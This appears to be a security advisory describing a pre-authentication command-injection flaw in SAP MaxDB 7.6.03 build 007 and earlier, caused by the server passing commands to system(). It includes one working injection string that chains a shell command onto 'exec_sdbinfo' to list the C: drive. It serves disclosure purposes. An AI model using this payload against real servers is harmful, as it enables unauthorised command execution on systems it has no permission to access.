  SAP MaxDB Pre-Auth Command Execution
------------------------------------------------------------------------


SUMMARY

 <https://www.sdn.sap.com/irj/sdn/maxdb> SAP MaxDB is "a commercial and 
widely known and used database". A vulnerability in MaxDB's system() 
command allows remote attackers to cause the program to execute arbitrary 
commands.

DETAILS

Vulnerable Systems:
 * SAP MaxDB version 7.6.03 build 007 and prior

The MaxDB server executes "cons.exe DATABASE COMMAND" through system() 
when some special commands are called by the user. Some of these special 
commands are "show" and "exec_sdbinfo" and this last one is just one of 
the small amount of commands which can be executed by the unauthenticated 
users before logging in.

The usage of system() for executing the cons program allows an external 
unauthenticated attacker to execute any command he wants on the target SAP 
MaxDB server simply passing the "&&" or other patterns for the execution 
of multiple commands in the shell.

So it's just enough to use the following SAP command to see the content of 
C: on Windows (the bug is naturally exploitable on any other platform 
supported by the server):

  exec_sdbinfo && echo dir c:\ | cmd.exe

Then the rest and all the other possibilities of exploiting this 
vulnerability are in the fantasy of the attacker...
